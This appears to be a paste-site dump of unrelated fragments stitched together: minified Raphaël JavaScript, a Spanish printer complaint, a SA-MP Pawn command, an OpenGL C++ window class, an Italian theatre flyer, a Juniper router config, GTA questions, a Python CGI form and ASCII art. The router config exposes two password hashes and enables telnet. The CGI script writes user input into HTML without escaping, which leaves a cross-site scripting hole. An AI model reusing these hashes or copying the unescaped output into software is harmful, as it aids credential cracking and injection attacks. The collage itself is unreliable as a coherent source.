c)if(c[f](m)){if(X[f](m)||h.paper.customAttributes[f](m)){k=true;i[m]=h.attr(m);i[m]==null&&(i[m]=W[m]);j[m]=c[m];switch(X[m]){case"along":var n=cs(c[m]),o=ct(c[m],n*!(!c.back)),p=h.getBBox();l[m]=n/d;l.tx=p.x;l.ty=p.y;l.sx=o.x;l.sy=o.y;j.rot=c.rot;j.back=c.back;j.len=n;c.rot&&(l.r=S(h.rotate())||0);break;case E:l[m]=(j[m]-i[m])/d;break;case"colour":i[m]=a.getRGB(i[m]);var q=a.getRGB(j[m]);l[m]={r:(q.r-i[m].r)/d,g:(q.g-i[m].g)/d,b:(q.b-i[m].b)/d};break;case"path":var t=bw(i[m],j[m]);i[m]=t[0];var u=t[1];l[m]=[];for(var v=0,x=i[m][w];v<x;v++){l[m][v]=[0];for(var y=1,z=i[m][v][w];y<z;y++)l[m][v][y]=(u[v][y]-i[m][v][y])/d}break;case"csv":var A=r(c[m])[s](b),B=r(i[m])[s](b);switch(m){case"translation":i[m]=[0,0];l[m]=[A[0]/d,A[1]/d];break;case"rotation":i[m]=B[1]==A[1]&&B[2]==A[2]?B:[0,A[1],A[2]];l[m]=[(A[0]-i[m][0])/d,0,0];break;case"scale":c[m]=A;i[m]=r(i[m])[s](b);l[m]=[(A[0]-i[m][0])/d,(A[1]-i[m][1])/d,0,0];break;case"clip-rect":i[m]=r(i[m])[s](b);l[m]=[];v=4;while(v--)l[m][v]=(A[v]-i[m][v])/d;break}j[m]=A;break;default:A=[].concat(c[m]);B=[].concat(i[m]);l[m]=[];v=h.paper.customAttributes[m][w];while(v--)l[m][v]=((A[v]||0)-(B[v]||0))/d;break}}}if(k){var G=a.easing_formulas[e];if(!G){G=r(e).match(P);if(G&&G[w]==5){var H=G;G=function(a){return cB(a,+H[1],+H[2],+H[3],+H[4],d)}}else G=function(a){return a}}cv.push({start:c.start||+(new Date),ms:d,easing:G,from:i,diff:l,to:j,el:h,t:{x:0,y:0}});a.is(g,"function")&&(h._ac=setTimeout(function(){g.call(h)},d));cv[w]==1&&setTimeout(cw)}else{var C=[],D;for(var F in c)if(c[f](F)&&Z.test(F)){m={value:c[F]};F=="from"&&(F=0);F=="to"&&(F=100);m.key=T(F,10);C.push(m)}C.sort(be);C[0].key&&C.unshift({key:0,value:h.attrs});for(v=0,x=C[w];v<x;v++)cx(C[v].value,h,d/100*C[v].key,d/100*(C[v-1]&&C[v-1].key||0),C[v-1]&&C[v-1].value.callback);D=C[C[w]-1].value.callback;D&&h.timeouts.push(setTimeout(function(){D.call(h)},d))}return this};bO.stop=function(){for(var a=0;a<cv.length;a++)cv[a].el.id==this.id&&cv.splice(a--,1);for(a=0,ii=this.timeouts&&this.timeouts.length;a<ii;a++)clearTimeout(this.timeouts[a]);this.timeouts=[];clearTimeout(this._ac);delete this._ac;return this};bO.translate=function(a,b){return this.attr({translation:a+" "+b})};bO[H]=function(){return"Raphaël’s object"};a.ae=cv;var cC=function(a){this.items=[];this[w]=0;this.type="set";if(a)for(var b=0,c=a[w];b<c;b++){if(a[b]&&(a[b].constructor==bN||a[b].constructor==cC)){this[this.items[w]]=this.items[this.items[w]]=a[b];this[w]++}}};cC[e][L]=function(){var a,b;for(var c=0,d=arguments[w];c<d;c++){a=arguments[c];if(a&&(a.constructor==bN||a.constructor==cC)){b=this.items[w];this[b]=this.items[b]=a;this[w]++}}return this};cC[e].pop=function(){delete this[this[w]--];return this.items.pop()};for(var cD in bO)bO[f](cD)&&(cC[e][cD]=(function(a){return function(){for(var b=0,c=this.items[w];b<c;b++)this.items[b][a][m](this.items[b],arguments);return this}})(cD));cC[e].attr=function(b,c){if(b&&a.is(b,G)&&a.is(b[0],"object"))for(var d=0,e=b[w];d<e;d++)this.items[d].attr(b[d]);else for(var f=0,g=this.items[w];f<g;f++)this.items[f].attr(b,c);return this};cC[e].animate=function(b,c,d,e){(a.is(d,"function")||!d)&&(e=d||null);var f=this.items[w],g=f,h,i=this,j;e&&(j=function(){!(--f)&&e.call(i)});d=a.is(d,F)?d:j;h=this.items[--g].animate(b,c,d,j);while(g--)this.items[g]&&!this.items[g].removed&&this.items[g].animateWith(h,b,c,d,j);return this};cC[e].insertAfter=function(a){var b=this.items[w];while(b--)this.items[b].insertAfter(a);return this};cC[e].getBBox=function(){var a=[],b=[],c=[],d=[];for(var e=this.items[w];e--;){var f=this.items[e].getBBox();a[L](f.x);b[L](f.y);c[L](f.x+f.width);d[L](f.y+f.height)}a=A[m](0,a);b=A[m](0,b);return{x:a,y:b,width:z[m](0,c)-a,height:z[m](0,d)-b}};cC[e].clone=function(a){a=new cC;for(var b=0,c=this.items[w];b<c;b++)a[L](this.items[b].clone());return a};a.registerFont=function(a){if(!a.face)return a;this.fonts=this.fonts||{};var b={w:a.w,face:{},glyphs:{}},c=a.face["font-family"];for(var d in a.face)a.face[f](d)&&(b.face[d]=a.face[d]);this.fonts[c]?this.fonts[c][L](b):this.fonts[c]=[b];if(!a.svg){b.face["units-per-em"]=T(a.face["units-per-em"],10);for(var e in a.glyphs)if(a.glyphs[f](e)){var g=a.glyphs[e];b.glyphs[e]={w:g.w,k:{},d:g.d&&"M"+g.d[Y](/[mlcxtrv]/g,function(a){return({l:"L",c:"C",x:"z",t:"m",r:"l",v:"c"})[a]||"M"})+"z"};if(g.k)for(var h in g.k)g[f](h)&&(b.glyphs[e].k[h]=g.k[h])}}return a};k.getFont=function(b,c,d,e){e=e||"normal";d=d||"normal";c=+c||({normal:400,bold:700,lighter:300,bolder:800})[c]||400;if(!a.fonts)return;var g=a.fonts[b];if(!g){var h=new RegExp("(^|\\s)"+b[Y](/[^\w\d\s+!~.:_-]/g,p)+"(\\s|$)","i");for(var i in a.fonts)if(a.fonts[f](i)){if(h.test(i)){g=a.fonts[i];break}}}var j;if(g)for(var k=0,l=g[w];k<l;k++){j=g[k];if(j.face["font-weight"]==c&&(j.face["font-style"]==d||!j.face["font-style"])&&j.face["font-stretch"]==e)break}return j};k.print=function(c,d,e,f,g,h,i){h=h||"middle";i=z(A(i||0,1),-1);var j=this.set(),k=r(e)[s](p),l=0,m=p,n;a.is(f,e)&&(f=this.getFont(f));if(f){n=(g||16)/f.face["units-per-em"];var o=f.face.bbox.split(b),q=+o[0],t=+o[1]+(h=="baseline"?o[3]-o[1]+ +f.face.descent:(o[3]-o[1])/2);for(var u=0,v=k[w];u<v;u++){var x=u&&f.glyphs[k[u-1]]||{},y=f.glyphs[k[u]];l+=u?(x.w||f.w)+(x.k&&x.k[k[u]]||0)+f.w*i:0;y&&y.d&&j[L](this.path(y.d).attr({fill:"#000",stroke:"none",translation:[l,0]}))}j.scale(n,n,q,t).translate(c-q,d-t)}return j};a.format=function(b,c){var e=a.is(c,G)?[0][n](c):arguments;b&&a.is(b,F)&&e[w]-1&&(b=b[Y](d,function(a,b){return e[++b]==null?p:e[b]}));return b||p};a.ninja=function(){i.was?h.Raphael=i.is:delete Raphael;return a};a.el=bO;a.st=cC[e];i.was?h.Raphael=a:Raphael=a})()
> lo de los cartuchos de las laser es verdad che son re salados, otro problema que tenemos aca con una laser, (hp 1006) es que al usarla compartida se suele tildar, si la uso yo desde mi maquina que es donde esta instalada todo de 10, ahora, cuando tiran a imprimir los otros desde sus pcs suele tildarse y queda el documento ahi como pendiente eternamente hasta que reinicio mi maquina, se ve que es un problema del modelo porque en la oficina de mi chica tienen la misma impresora y pasa exactamente lo mismo.
</TBODY>
</TABLE>
dcmd_sethealth(playerid,params[]) {
new
pID,
Float:fHP;
if(sscanf(params, "df",pID,fHP)) {
return SendClientMessage(playerid,COLOR_RED,"USAGE: /sethealth [playerid] [healthpoints]");
}
if(!IsPlayerConnected(pID)) {
return SendClientMessage(playerid,COLOR_RED,"Kein Spieler mit angegebener ID Online");
}
new
ThePlayer[MAX_PLAYER_NAME],
GivePlayer[MAX_PLAYER_NAME],
string[128];
GetPlayerName(pID,GivePlayer,sizeof(GivePlayer));
GetPlayerName(playerid,ThePlayer,sizeof(ThePlayer));
SetPlayerHealth(pID,fHP);
format(string,sizeof(string),"%s (ID %d) Healtpoints wurden von %s (ID %d) auf %.1f gesetzt!",GivePlayer,pID,ThePlayer,playerid,fHP);
SendClientMessageToAll(COLOR_YELLOW,string);
return 1;
}
class CWindow {
public:
CWindow();
BOOL CWindow::CreateGLWindow(char* title, int width, int height, int bits, bool fullscreenflag);
GLvoid KillGLWindow(GLvoid);
static LRESULT CALLBACK StaticWndProc(HWND, UINT, WPARAM, LPARAM); // Declaration For WndProc
LRESULT WndProc( UINT, WPARAM, LPARAM);
int InitGL(GLvoid);
HDC gethDC() { return hDC; };
private:
HDC hDC; // Private GDI Device Context
HGLRC hRC; // Permanent Rendering Context
HWND hWnd; // Holds Our Window Handle
HINSTANCE hInstance; // Holds The Instance Of The Application
static void ReSizeGLScene(GLsizei width, GLsizei height);
};
#endif
//CWindow.cpp:
#include "CWindow.h"
#include <gl\gl.h> // Header File For The OpenGL32 Library
#include <gl\glu.h> // Header File For The GLu32 Library
/* This Code Creates Our OpenGL Window. Parameters Are: *
* title - Title To Appear At The Top Of The Window *
* width - Width Of The GL Window Or Fullscreen Mode *
* height - Height Of The GL Window Or Fullscreen Mode *
* bits - Number Of Bits To Use For Color (8/16/24/32) *
* fullscreenflag - Use Fullscreen Mode (TRUE) Or Windowed Mode (FALSE) */
CWindow::CWindow() {
hDC=NULL; // Private GDI Device Context
hRC=NULL; // Permanent Rendering Context
hWnd=NULL; // Holds Our Window Handle
}
BOOL CWindow::CreateGLWindow(char* title, int width, int height, int bits, bool fullscreenflag)
{
GLuint PixelFormat; // Holds The Results After Searching For A Match
WNDCLASS wc; // Windows Class Structure
DWORD dwExStyle; // Window Extended Style
DWORD dwStyle; // Window Style
RECT WindowRect; // Grabs Rectangle Upper Left / Lower Right Values
WindowRect.left=(long)0; // Set Left Value To 0
WindowRect.right=(long)width; // Set Right Value To Requested Width
WindowRect.top=(long)0; // Set Top Value To 0
WindowRect.bottom=(long)height; // Set Bottom Value To Requested Height
fullscreen=fullscreenflag; // Set The Global Fullscreen Flag
hInstance = GetModuleHandle(NULL); // Grab An Instance For Our Window
wc.style = CS_HREDRAW | CS_VREDRAW | CS_OWNDC; // Redraw On Size, And Own DC For Window.
wc.lpfnWndProc = (WNDPROC) StaticWndProc; // WndProc Handles Messages
wc.cbClsExtra = 0; // No Extra Window Data
wc.cbWndExtra = 0; // No Extra Window Data
wc.hInstance = hInstance; // Set The Instance
wc.hIcon = LoadIcon(NULL, IDI_WINLOGO); // Load The Default Icon
wc.hCursor = LoadCursor(NULL, IDC_ARROW); // Load The Arrow Pointer
wc.hbrBackground = NULL; // No Background Required For GL
wc.lpszMenuName = NULL; // We Don't Want A Menu
wc.lpszClassName = "OpenGL"; // Set The Class Name
if (!RegisterClass(&wc)) // Attempt To Register The Window Class
{
MessageBox(NULL,"Failed To Register The Window Class.","ERROR",MB_OK|MB_ICONEXCLAMATION);
return FALSE; // Return FALSE
}
if (fullscreen) // Attempt Fullscreen Mode?
{
DEVMODE dmScreenSettings; // Device Mode
memset(&dmScreenSettings,0,sizeof(dmScreenSettings)); // Makes Sure Memory's Cleared
dmScreenSettings.dmSize=sizeof(dmScreenSettings); // Size Of The Devmode Structure
dmScreenSettings.dmPelsWidth = width; // Selected Screen Width
dmScreenSettings.dmPelsHeight = height; // Selected Screen Height
dmScreenSettings.dmBitsPerPel = bits; // Selected Bits Per Pixel
dmScreenSettings.dmFields=DM_BITSPERPEL|DM_PELSWIDTH|DM_PELSHEIGHT;
// Try To Set Selected Mode And Get Results. NOTE: CDS_FULLSCREEN Gets Rid Of Start Bar.
if (ChangeDisplaySettings(&dmScreenSettings,CDS_FULLSCREEN)!=DISP_CHANGE_SUCCESSFUL)
{
// If The Mode Fails, Offer Two Options. Quit Or Use Windowed Mode.
if (MessageBox(NULL,"The Requested Fullscreen Mode Is Not Supported By\nYour Video Card. Use Windowed Mode Instead?","NeHe GL",MB_YESNO|MB_ICONEXCLAMATION)==IDYES)
{
fullscreen=FALSE; // Windowed Mode Selected. Fullscreen = FALSE
}
else
{
// Pop Up A Message Box Letting User Know The Program Is Closing.
MessageBox(NULL,"Program Will Now Close.","ERROR",MB_OK|MB_ICONSTOP);
return FALSE; // Return FALSE
}
}
}
if (fullscreen) // Are We Still In Fullscreen Mode?
{
dwExStyle=WS_EX_APPWINDOW; // Window Extended Style
dwStyle=WS_POPUP; // Windows Style
ShowCursor(FALSE); // Hide Mouse Pointer
}
else
{
dwExStyle=WS_EX_APPWINDOW | WS_EX_WINDOWEDGE; // Window Extended Style
dwStyle=WS_OVERLAPPEDWINDOW; // Windows Style
}
AdjustWindowRectEx(&WindowRect, dwStyle, FALSE, dwExStyle); // Adjust Window To True Requested Size
// Create The Window
if (!(hWnd=CreateWindowEx( dwExStyle, // Extended Style For The Window
"OpenGL", // Class Name
title, // Window Title
dwStyle | // Defined Window Style
WS_CLIPSIBLINGS | // Required Window Style
WS_CLIPCHILDREN, // Required Window Style
0, 0, // Window Position
WindowRect.right-WindowRect.left, // Calculate Window Width
WindowRect.bottom-WindowRect.top, // Calculate Window Height
NULL, // No Parent Window
NULL, // No Menu
hInstance, // Instance
this))) // Pass this class To WM_CREATE
{
KillGLWindow(); // Reset The Display
MessageBox(NULL,"Window Creation Error.","ERROR",MB_OK|MB_ICONEXCLAMATION);
return FALSE; // Return FALSE
}
static PIXELFORMATDESCRIPTOR pfd= // pfd Tells Windows How We Want Things To Be
{
sizeof(PIXELFORMATDESCRIPTOR), // Size Of This Pixel Format Descriptor
1, // Version Number
PFD_DRAW_TO_WINDOW | // Format Must Support Window
PFD_SUPPORT_OPENGL | // Format Must Support OpenGL
PFD_DOUBLEBUFFER, // Must Support Double Buffering
PFD_TYPE_RGBA, // Request An RGBA Format
bits, // Select Our Color Depth
0, 0, 0, 0, 0, 0, // Color Bits Ignored
0, // No Alpha Buffer
0, // Shift Bit Ignored
0, // No Accumulation Buffer
0, 0, 0, 0, // Accumulation Bits Ignored
16, // 16Bit Z-Buffer (Depth Buffer)
0, // No Stencil Buffer
0, // No Auxiliary Buffer
PFD_MAIN_PLANE, // Main Drawing Layer
0, // Reserved
0, 0, 0 // Layer Masks Ignored
};
if (!(hDC=GetDC(hWnd))) // Did We Get A Device Context?
{
KillGLWindow(); // Reset The Display
MessageBox(NULL,"Can't Create A GL Device Context.","ERROR",MB_OK|MB_ICONEXCLAMATION);
return FALSE; // Return FALSE
}
if (!(PixelFormat=ChoosePixelFormat(hDC,&pfd))) // Did Windows Find A Matching Pixel Format?
{
KillGLWindow(); // Reset The Display
MessageBox(NULL,"Can't Find A Suitable PixelFormat.","ERROR",MB_OK|MB_ICONEXCLAMATION);
return FALSE; // Return FALSE
}
if(!SetPixelFormat(hDC,PixelFormat,&pfd)) // Are We Able To Set The Pixel Format?
{
KillGLWindow(); // Reset The Display
MessageBox(NULL,"Can't Set The PixelFormat.","ERROR",MB_OK|MB_ICONEXCLAMATION);
return FALSE; // Return FALSE
}
if (!(hRC=wglCreateContext(hDC))) // Are We Able To Get A Rendering Context?
{
KillGLWindow(); // Reset The Display
MessageBox(NULL,"Can't Create A GL Rendering Context.","ERROR",MB_OK|MB_ICONEXCLAMATION);
return FALSE; // Return FALSE
}
if(!wglMakeCurrent(hDC,hRC)) // Try To Activate The Rendering Context
{
KillGLWindow(); // Reset The Display
MessageBox(NULL,"Can't Activate The GL Rendering Context.","ERROR",MB_OK|MB_ICONEXCLAMATION);
return FALSE; // Return FALSE
}
ShowWindow(hWnd,SW_SHOW); // Show The Window
SetForegroundWindow(hWnd); // Slightly Higher Priority
SetFocus(hWnd); // Sets Keyboard Focus To The Window
ReSizeGLScene(width, height); // Set Up Our Perspective GL Screen
if (!InitGL()) // Initialize Our Newly Created GL Window
{
KillGLWindow(); // Reset The Display
MessageBox(NULL,"Initialization Failed.","ERROR",MB_OK|MB_ICONEXCLAMATION);
return FALSE; // Return FALSE
}
return TRUE; // Success
}
LRESULT CALLBACK CWindow::StaticWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
CWindow* pParent;
// Get pointer to window
if(uMsg == WM_CREATE)
{
pParent = (CWindow*)((LPCREATESTRUCT)lParam)->lpCreateParams;
SetWindowLongPtr(hWnd,GWL_USERDATA,(LONG_PTR)pParent);
}
else
{
pParent = (CWindow*)GetWindowLongPtr(hWnd,GWL_USERDATA);
if(!pParent) return DefWindowProc(hWnd,uMsg,wParam,lParam);
}
pParent->hWnd = hWnd;
return pParent->WndProc(uMsg,wParam,lParam);
}
GLvoid CWindow::KillGLWindow(GLvoid) // Properly Kill The Window
{
if (fullscreen) // Are We In Fullscreen Mode?
{
ChangeDisplaySettings(NULL,0); // If So Switch Back To The Desktop
ShowCursor(TRUE); // Show Mouse Pointer
}
if (hRC) // Do We Have A Rendering Context?
{
if (!wglMakeCurrent(NULL,NULL)) // Are We Able To Release The DC And RC Contexts?
{
MessageBox(NULL,"Release Of DC And RC Failed.","SHUTDOWN ERROR",MB_OK | MB_ICONINFORMATION);
}
if (!wglDeleteContext(hRC)) // Are We Able To Delete The RC?
{
MessageBox(NULL,"Release Rendering Context Failed.","SHUTDOWN ERROR",MB_OK | MB_ICONINFORMATION);
}
hRC=NULL; // Set RC To NULL
}
if (hDC && !ReleaseDC(hWnd,hDC)) // Are We Able To Release The DC
{
MessageBox(NULL,"Release Device Context Failed.","SHUTDOWN ERROR",MB_OK | MB_ICONINFORMATION);
hDC=NULL; // Set DC To NULL
}
if (hWnd && !DestroyWindow(hWnd)) // Are We Able To Destroy The Window?
{
MessageBox(NULL,"Could Not Release hWnd.","SHUTDOWN ERROR",MB_OK | MB_ICONINFORMATION);
hWnd=NULL; // Set hWnd To NULL
}
if (!UnregisterClass("OpenGL",hInstance)) // Are We Able To Unregister Class
{
MessageBox(NULL,"Could Not Unregister Class.","SHUTDOWN ERROR",MB_OK | MB_ICONINFORMATION);
hInstance=NULL; // Set hInstance To NULL
}
}
LRESULT CWindow::WndProc( // Handle For This Window
UINT uMsg, // Message For This Window
WPARAM wParam, // Additional Message Information
LPARAM lParam) // Additional Message Information
{
switch (uMsg) // Check For Windows Messages
{
case WM_ACTIVATE: // Watch For Window Activate Message
{
if (!HIWORD(wParam)) // Check Minimization State
{
active=TRUE; // Program Is Active
}
else
{
active=FALSE; // Program Is No Longer Active
}
return 0; // Return To The Message Loop
}
case WM_SYSCOMMAND: // Intercept System Commands
{
switch (wParam) // Check System Calls
{
case SC_SCREENSAVE: // Screensaver Trying To Start?
case SC_MONITORPOWER: // Monitor Trying To Enter Powersave?
return 0; // Prevent From Happening
}
break; // Exit
}
case WM_CLOSE: // Did We Receive A Close Message?
{
PostQuitMessage(0); // Send A Quit Message
return 0; // Jump Back
}
case WM_KEYDOWN: // Is A Key Being Held Down?
{
keys[wParam] = TRUE; // If So, Mark It As TRUE
return 0; // Jump Back
}
case WM_KEYUP: // Has A Key Been Released?
{
keys[wParam] = FALSE; // If So, Mark It As FALSE
return 0; // Jump Back
}
case WM_SIZE: // Resize The OpenGL Window
{
ReSizeGLScene(LOWORD(lParam),HIWORD(lParam)); // LoWord=Width, HiWord=Height
return 0; // Jump Back
}
}
// Pass All Unhandled Messages To DefWindowProc
return DefWindowProc(hWnd,uMsg,wParam,lParam);
}
new
asdfasdf
<div class="Section1"><span style="font-family: 'Garamond','serif'; font-size: 11pt"><p style="text-align: center; margin: 0in 0in 0pt; tab-stops: 131.25pt" class="MsoNormal" align="center"> </p><p style="text-align: center; margin: 0in 0in 0pt; tab-stops: 131.25pt" class="MsoNormal" align="center"><span style="font-family: 'Garamond','serif'; font-size: 36pt"><font color="#000000">teatro agricolo</font></span></p> <p style="text-align: center; margin: 0in 0in 0pt; tab-stops: 131.25pt" class="MsoNormal" align="center"><font size="3"><span style="font-family: 'Garamond','serif'"><font color="#000000">utensili per la comunicazione. Libertaria<br /></font></span><span style="font-family: 'Garamond','serif'"><a href="http://www.teatroagricolo.it/"><u><font color="#0000ff">www.teatroagricolo.it</font></u></a></span></font></p><p style="text-align: center; margin-bottom: 0pt" align="center"><span style="font-family: 'Garamond','serif'; font-size: 11pt">presenta</span></p></span><p style="text-align: center; margin-bottom: 0pt" align="center"><span style="font-family: 'Garamond','serif'; font-size: 48pt">La Vaca Mora</span></p><p style="text-align: center; margin-bottom: 0pt" align="center"><span style="font-family: 'Garamond','serif'">“e dopo un buon cichetto el tren ripartiva sempre mejo”</span></p><p style="text-align: center; margin-bottom: 0pt" align="center"><span style="font-family: 'Garamond','serif'">messa in scena di Marco Picello</span></p><p style="text-align: center" class="MsoNormal" align="center"> </p><p style="text-align: center" class="MsoNormal" align="center"><span style="font-family: 'Garamond','serif'">con Marco Picello</span></p><p style="text-align: center" class="MsoNormal" align="center"><span style="font-family: 'Garamond','serif'"><br /></span><span style="font-family: 'Garamond','serif'; font-size: 11pt">commento musicale a cura di<br />Matteo Titotto, chitarra blues</span></p><p style="text-align: center" class="MsoNormal" align="center"> </p><p style="text-align: center" class="MsoNormal" align="center"><span style="font-family: 'Garamond','serif'; font-size: 24pt"><img src="public/image003.jpg" border="0" width="448" height="279" /></span></p><p style="text-align: center" class="MsoNormal" align="center"> </p><p style="text-align: center" class="MsoNormal" align="center"><span style="font-family: 'Garamond','serif'; font-size: 24pt">Venerdi 26 Giugno 2009<br /></span></p><p style="text-align: center" class="MsoNormal" align="center"><span style="font-family: 'Garamond','serif'; font-size: 24pt">Ore 19.00<br /><br /></span></p><p style="text-align: center" class="MsoNormal" align="center"><span style="font-family: 'Garamond','serif'; font-size: 24pt">Spettacolo Teatrale<br /></span><span style="font-family: 'Garamond','serif'; font-size: 18pt"> </span></p><p style="text-align: center" class="MsoNormal" align="center"><span style="font-family: 'Garamond','serif'; font-size: 18pt">presso </span></p><p style="text-align: center" class="MsoNormal" align="center"><span style="font-family: 'Garamond','serif'; font-size: 24pt">Bar Astra</span></p><span style="font-family: 'Garamond','serif'; font-size: 24pt"><p style="text-align: center" class="MsoNormal" align="center"><br />Contrà Barche 14 - Vicenza</p><p style="text-align: center" class="MsoNormal" align="center"> </p><p style="text-align: center" class="MsoNormal" align="center"> </p><p style="text-align: center" class="MsoNormal" align="center"> </p><p style="text-align: center" class="MsoNormal" align="center"> </p><p style="text-align: center" class="MsoNormal" align="center"> </p><p style="text-align: center" class="MsoNormal" align="center">--</p><p style="text-align: center" class="MsoNormal" align="center">se vuoi essere rimosso dalla lista clicca qui [unsubscribe link] </p></span><p style="text-align: center" class="MsoNormal" align="center"> </p></div>
zxca
xD
[edit]
user@router# show
version 5.3R1.2;
system {
host-name Shiraz;
root-authentication {
encrypted-password "$1$ZwtQb$cDpgAVcfDl/MLhTC1ZqQ4/"; # SECRET-DATA
}
login {
user user {
class super-user;
authentication {
encrypted-password "$1$/7NAOjwP$iwCrhoAqH38Kqh91AQFuY."; #
SECRET-DATA
}
}
}
radius-server {
172.30.10.1;
}
services {
telnet;
}
syslog {
user * {
any emergency;
}
file messages {
any notice;
authorization info;
}
}
}
ola
awdwa
como joga gta online??
affy´s como ki faz para criar uma conta
para jogar gta onlline?
,.
fgd
print """
<html>
<body bgcolor="#FDF5E6">
<br>
<h1>Add a New Attendee</h1>
<form name="input" action="a1.cgi" method="POST">
<table>
<tbody>
<tr>
<td class="rightAlign" valign="top"> First Name: </td>
<td valign="top"><input name="FirstName" size="30" value=\""""
print var[0]
print """
"><br>
<td><font color=\"red\">"""
print error[0]
print """
</font></td>
</td>
</tr>
<tr>
<td class="rightAlign" valign="top"> Last Name: </td>
<td valign="top"><input name="LastName" size="30" value=\""""
print var[1]
print """
"><br>
<td><font color=\"red\">"""
print error[1]
print """
</font></td>
</td>
</tr>
<tr>
<td class="rightAlign" valign="top"> Title: </td>
<td valign="top"><input name="Title" size="30" value=\""""
print var[2]
print """
"><br>
</td>
</tr>
<tr>
<td class="rightAlign" valign="top"> Inistitution/Company: </td>
<td valign="top"><input name="Institution" size="30" value=\""""
print var[3]
print """
"><br>
</td>
</tr>
<tr>
<td class="rightAlign" valign="top"> Email Address: </td>
<td valign="top"><input name="Email" size="30" value=\""""
print var[4]
print """
"><br>
<td><font color=\"red\">"""
print error[2] + error[7]
print """
</font></td>
</td>
</tr>
<tr>
<td class="rightAlign" valign="top"> Phone Number: </td>
<td valign="top"><input name="PhoneNumber" size="30" value=\""""
print var[5]
print """
"><br>
<td><font color=\"red\">"""
print error[3]
print """
</font></td>
</td>
</tr>
<tr>
<td class="rightAlign" valign="top">Are you a student: </td>
<td style="width: 236px;">Yes
<input name="Attend" group="Attend" value="Y\""""
print CheckYes
print """
type="radio">
No
<input name="Attend" group="Attend" value="N\""""
print CheckNo
print """
type="radio">
<td><font color=\"red\">"""
print error[4]
print """
</font></td>
</td>
</tr>
<tr>
<td>T-Shirt Size: </td>
<td><select name="Shirt">
<option>"""
print var[7]
print """
</option>"""
# Generating the dropdown
for i in size:
print "<option value=\"" + i + "\">" + i + "</option>"
print """
<td><font color=\"red\">"""
print error[6]
print """
</font></td>
</select></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="Register"><br></td>
</tr>
</form>
</body>
</html>"""
im a bunny
(\_/)
(._.)
( )
U.U


